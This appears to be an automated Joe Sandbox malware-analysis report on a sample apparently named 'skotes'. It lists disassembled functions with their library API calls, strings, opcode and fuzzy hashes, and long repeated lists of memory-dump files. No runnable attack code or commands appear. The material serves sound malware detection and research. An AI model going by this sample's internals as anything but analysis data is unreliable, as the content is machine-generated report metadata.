Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: a49efe87ad3902c4729a197ecfd186769aa57da3c409e67dc261c8a3c3486904
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: E4516278A00209AFDF08DF54C495BEDB3B8FF08305F454069ED15AB281DB74AE89DB94

Function 00C652A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00C653A0
type_info::operator==.LIBVCRUNTIME ref: 00C653C7
___TypeMatch.LIBVCRUNTIME ref: 00C654D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00C655AE
CallUnexpected.LIBVCRUNTIME ref: 00C65650

Strings

csm, xrefs: 00C652E0
csm, xrefs: 00C6534D
csm, xrefs: 00C653FE

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: f9242127cf115efecd72ccc24571582baabd18895842ffb764a0fae366e149ed
Instruction ID: f4ddc7a911abb0b7fbc59ecc190101d2b65307a9c581251586b1e85b75d5ffe5
Opcode Fuzzy Hash: f9242127cf115efecd72ccc24571582baabd18895842ffb764a0fae366e149ed
Instruction Fuzzy Hash: 66C17771900609EFCF39DFA4C8C49AEBBB5BF14311F20416AF8226B212D771DA52DB91

Function 00C57364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00C573B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00C573F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00C5740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00C57419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C57440

Strings

count, xrefs: 00C5737E
ppVirtualProcessorRoots, xrefs: 00C57438

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 3791a2d81d03b095b78e61c7a22290c09faf91093c9f33fce3ffea7d6259f429
Instruction ID: 54004b2665bbbfbc4e858a56b2eabaad4282c95321bb06cfa4e1439b3db974f6
Opcode Fuzzy Hash: 3791a2d81d03b095b78e61c7a22290c09faf91093c9f33fce3ffea7d6259f429
Instruction Fuzzy Hash: 9B217138A00309AFCB10EF95D485AADBBB5BF45311F1441A9EC1597361CB30AE89EF98

Function 00C578E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00C57903

Part of subcall function 00C55CB8: __EH_prolog3_catch.LIBCMT ref: 00C55CBF
Part of subcall function 00C55CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00C55CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00C5792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00C57936

Part of subcall function 00C55CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00C55D70
Part of subcall function 00C55CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00C55D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00C57982
Concurrency::location::_Assign.LIBCMT ref: 00C579A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00C579AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00C579BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00C579ED

Part of subcall function 00C5691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00C56942
Part of subcall function 00C5691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00C56965

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 389bed373d7c339cbe817b3d8d8c27027a81123916f68e4c0c3ec151e27e792a
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 6D314738B082516ECF16AA7854A27FEB7B59F41302F0402A9DCA5D7242DB244ECED3A5

Function 00C64840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C64877
___except_validate_context_record.LIBVCRUNTIME ref: 00C6487F
_ValidateLocalCookies.LIBCMT ref: 00C64908
__IsNonwritableInCurrentImage.LIBCMT ref: 00C64933
_ValidateLocalCookies.LIBCMT ref: 00C64988

Strings

csm, xrefs: 00C6491D

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
